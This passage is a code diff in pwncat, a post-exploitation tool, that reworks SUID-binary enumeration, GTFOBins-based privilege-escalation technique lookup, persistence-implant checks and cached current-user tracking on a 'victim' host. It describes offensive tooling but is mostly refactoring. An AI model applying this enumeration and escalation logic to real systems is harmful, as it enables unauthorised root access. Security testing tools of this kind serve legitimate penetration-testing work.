f"suid", provider=f"suid-searched-{current_user.id}"
|
||||||
|
):
|
||||||
|
return
|
||||||
|
|
||||||
|
# Add the fact indicating we already searched for SUID binaries
|
||||||
|
pwncat.victim.enumerate.add_fact(f"suid", None, f"suid-searched-{current_user.id}")
|
||||||
|
|
||||||
|
# Spawn a find command to locate the setuid binaries
|
||||||
|
with pwncat.victim.subprocess(
|
||||||
|
"find / -perm -4000 -printf '%U %p\\n' 2>/dev/null", mode="r", no_job=True
|
||||||
|
) as stream:
|
||||||
|
util.progress("searching for setuid binaries")
|
||||||
|
for path in stream:
|
||||||
|
# Parse out owner ID and path
|
||||||
|
path = path.strip().decode("utf-8").split(" ")
|
||||||
|
uid, path = int(path[0]), " ".join(path[1:])
|
||||||
|
|
||||||
|
# Print status message
|
||||||
|
util.progress(
|
||||||
|
(
|
||||||
|
f"searching for setuid binaries as {Fore.GREEN}{current_user.name}{Fore.RESET}: "
|
||||||
|
f"{Fore.CYAN}{os.path.basename(path)}{Fore.RESET}"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# Check if we already know about this SUID binary from a different search
|
||||||
|
# This will only searched the cached database entries and not end up being
|
||||||
|
# recursive.
|
||||||
|
try:
|
||||||
|
next(
|
||||||
|
pwncat.victim.enumerate.iter(
|
||||||
|
"suid", only_cached=True, filter=lambda f: f.data.path == path,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
except StopIteration:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
continue
|
||||||
|
|
||||||
|
yield Binary(path, uid)
|
@ -295,7 +295,7 @@ class Finder:
|
|||||||
pwncat.victim.reset()
|
pwncat.victim.reset()
|
||||||
|
|
||||||
# Check that we actually succeeded
|
# Check that we actually succeeded
|
||||||
current = pwncat.victim.whoami()
|
current = pwncat.victim.update_user()
|
||||||
|
|
||||||
if current == technique.user or (
|
if current == technique.user or (
|
||||||
technique.user == pwncat.victim.config["backdoor_user"]
|
technique.user == pwncat.victim.config["backdoor_user"]
|
||||||
@ -680,7 +680,7 @@ class Finder:
|
|||||||
if persist.escalate(target_user):
|
if persist.escalate(target_user):
|
||||||
|
|
||||||
# The method thought it worked, but didn't appear to
|
# The method thought it worked, but didn't appear to
|
||||||
if pwncat.victim.whoami() != target_user:
|
if pwncat.victim.update_user() != target_user:
|
||||||
if pwncat.victim.getenv("SHLVL") != shlvl:
|
if pwncat.victim.getenv("SHLVL") != shlvl:
|
||||||
pwncat.victim.run("exit", wait=False)
|
pwncat.victim.run("exit", wait=False)
|
||||||
continue
|
continue
|
||||||
@ -704,25 +704,13 @@ class Finder:
|
|||||||
except PrivescError:
|
except PrivescError:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if (
|
|
||||||
target_user == "root"
|
|
||||||
and pwncat.victim.config["backdoor_user"] in techniques
|
|
||||||
):
|
|
||||||
try:
|
|
||||||
tech, exit_command = self.escalate_single(
|
|
||||||
techniques[pwncat.victim.config["backdoor_user"]], shlvl
|
|
||||||
)
|
|
||||||
chain.append((tech, exit_command))
|
|
||||||
return chain
|
|
||||||
except PrivescError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
# Try to escalate directly to the target if possible
|
# Try to escalate directly to the target if possible
|
||||||
if target_user in techniques:
|
if target_user in techniques:
|
||||||
try:
|
try:
|
||||||
tech, exit_command = self.escalate_single(
|
tech, exit_command = self.escalate_single(
|
||||||
techniques[target_user], shlvl
|
techniques[target_user], shlvl
|
||||||
)
|
)
|
||||||
|
pwncat.victim.update_user()
|
||||||
chain.append((tech, exit_command))
|
chain.append((tech, exit_command))
|
||||||
return chain
|
return chain
|
||||||
except PrivescError:
|
except PrivescError:
|
||||||
@ -737,7 +725,7 @@ class Finder:
|
|||||||
f"checking local persistence implants: {persist.format(user)}"
|
f"checking local persistence implants: {persist.format(user)}"
|
||||||
)
|
)
|
||||||
if persist.escalate(user):
|
if persist.escalate(user):
|
||||||
if pwncat.victim.whoami() != user:
|
if pwncat.victim.update_user() != user:
|
||||||
if pwncat.victim.getenv("SHLVL") != shlvl:
|
if pwncat.victim.getenv("SHLVL") != shlvl:
|
||||||
pwncat.victim.run("exit", wait=False)
|
pwncat.victim.run("exit", wait=False)
|
||||||
continue
|
continue
|
||||||
|
@ -74,23 +74,18 @@ class SetuidMethod(Method):
|
|||||||
""" Find all techniques known at this time """
|
""" Find all techniques known at this time """
|
||||||
|
|
||||||
# Update the cache for the current user
|
# Update the cache for the current user
|
||||||
self.find_suid()
|
# self.find_suid()
|
||||||
|
|
||||||
known_techniques = []
|
known_techniques = []
|
||||||
for suid in pwncat.victim.host.suid:
|
for suid in pwncat.victim.enumerate.iter("suid"):
|
||||||
try:
|
try:
|
||||||
binary = pwncat.victim.gtfo.find_binary(suid.path, caps)
|
binary = pwncat.victim.gtfo.find_binary(suid.data.path, caps)
|
||||||
except BinaryNotFound:
|
except BinaryNotFound:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for method in binary.iter_methods(suid.path, caps, Stream.ANY):
|
for method in binary.iter_methods(suid.data.path, caps, Stream.ANY):
|
||||||
known_techniques.append(
|
known_techniques.append(
|
||||||
Technique(
|
Technique(suid.data.owner.name, self, method, method.cap,)
|
||||||
pwncat.victim.find_user_by_id(suid.owner_id).name,
|
|
||||||
self,
|
|
||||||
method,
|
|
||||||
method.cap,
|
|
||||||
)
|
|
||||||
)
|
)
|
||||||
|
|
||||||
return known_techniques
|
return known_techniques
|
||||||
|
@ -25,6 +25,7 @@ from pwncat.gtfobins import GTFOBins, Capability, Stream
|
|||||||
from pwncat.remote import RemoteService
|
from pwncat.remote import RemoteService
|
||||||
from pwncat.tamper import Tamper, TamperManager
|
from pwncat.tamper import Tamper, TamperManager
|
||||||
from pwncat.util import State
|
from pwncat.util import State
|
||||||
|
import pwncat.enumerate
|
||||||
|
|
||||||
|
|
||||||
def remove_busybox_tamper():
|
def remove_busybox_tamper():
|
||||||
@ -137,12 +138,17 @@ class Victim:
|
|||||||
self.privesc: privesc.Finder = None
|
self.privesc: privesc.Finder = None
|
||||||
# Persistence manager
|
# Persistence manager
|
||||||
self.persist: persist.Persistence = persist.Persistence()
|
self.persist: persist.Persistence = persist.Persistence()
|
||||||
|
# The enumeration manager
|
||||||
|
self.enumerate: pwncat.enumerate.Enumerate = pwncat.enumerate.Enumerate()
|
||||||
# Database engine
|
# Database engine
|
||||||
self.engine: Engine = None
|
self.engine: Engine = None
|
||||||
# Database session
|
# Database session
|
||||||
self.session: Session = None
|
self.session: Session = None
|
||||||
# The host object as seen by the database
|
# The host object as seen by the database
|
||||||
self.host: pwncat.db.Host = None
|
self.host: pwncat.db.Host = None
|
||||||
|
# The current user. This is cached while at the `pwncat` prompt
|
||||||
|
# and reloaded whenever returning from RAW mode.
|
||||||
|
self.cached_user: str = None
|
||||||
|
|
||||||
def reconnect(
|
def reconnect(
|
||||||
self, hostid: str, requested_method: str = None, requested_user: str = None
|
self, hostid: str, requested_method: str = None, requested_user: str = None
|
||||||
@ -622,10 +628,13 @@ class Victim:
|
|||||||
if binding.strip().startswith("pass"):
|
if binding.strip().startswith("pass"):
|
||||||
self.client.send(data)
|
self.client.send(data)
|
||||||
binding = binding.lstrip("pass")
|
binding = binding.lstrip("pass")
|
||||||
|
else:
|
||||||
self.restore_local_term()
|
self.restore_local_term()
|
||||||
sys.stdout.write("\n")
|
sys.stdout.write("\n")
|
||||||
|
|
||||||
|
# Update the current user
|
||||||
|
self.update_user()
|
||||||
|
|
||||||
# Evaluate the script
|
# Evaluate the script
|
||||||
self.command_parser.eval(binding, "<binding>")
|
self.command_parser.eval(binding, "<binding>")
|
||||||
|
|
||||||
@ -686,6 +695,8 @@ class Victim:
|
|||||||
self._state = State.COMMAND
|
self._state = State.COMMAND
|
||||||
# Hopefully this fixes weird cursor position issues
|
# Hopefully this fixes weird cursor position issues
|
||||||
util.success("local terminal restored")
|
util.success("local terminal restored")
|
||||||
|
# Reload the current user name
|
||||||
|
self.update_user()
|
||||||
# Setting the state to local command mode does not return until
|
# Setting the state to local command mode does not return until
|
||||||
# command processing is complete.
|
# command processing is complete.
|
||||||
self.command_parser.run()
|
self.command_parser.run()
|
||||||
@ -696,6 +707,8 @@ class Victim:
|
|||||||
self._state = State.SINGLE
|
self._state = State.SINGLE
|
||||||
# Hopefully this fixes weird cursor position issues
|
# Hopefully this fixes weird cursor position issues
|
||||||
sys.stdout.write("\n")
|
sys.stdout.write("\n")
|
||||||
|
# Update the current user
|
||||||
|
self.update_user()
|
||||||
# Setting the state to local command mode does not return until
|
# Setting the state to local command mode does not return until
|
||||||
# command processing is complete.
|
# command processing is complete.
|
||||||
self.command_parser.run_single()
|
self.command_parser.run_single()
|
||||||
@ -1500,8 +1513,15 @@ class Victim:
|
|||||||
|
|
||||||
:return: str, the current user name
|
:return: str, the current user name
|
||||||
"""
|
"""
|
||||||
result = self.run("whoami")
|
return self.cached_user
|
||||||
return result.strip().decode("utf-8")
|
|
||||||
|
def update_user(self):
|
||||||
|
"""
|
||||||
|
Requery the current user
|
||||||
|
:return: the current user
|
||||||
|
"""
|
||||||
|
self.cached_user = self.run("whoami").strip().decode("utf-8")
|
||||||
|
return self.cached_user
|
||||||
|
|
||||||
def getenv(self, name: str):
|
def getenv(self, name: str):
|
||||||
"""
|
"""
|
||||||
|
Loading…
Reference in New Issue
Block a user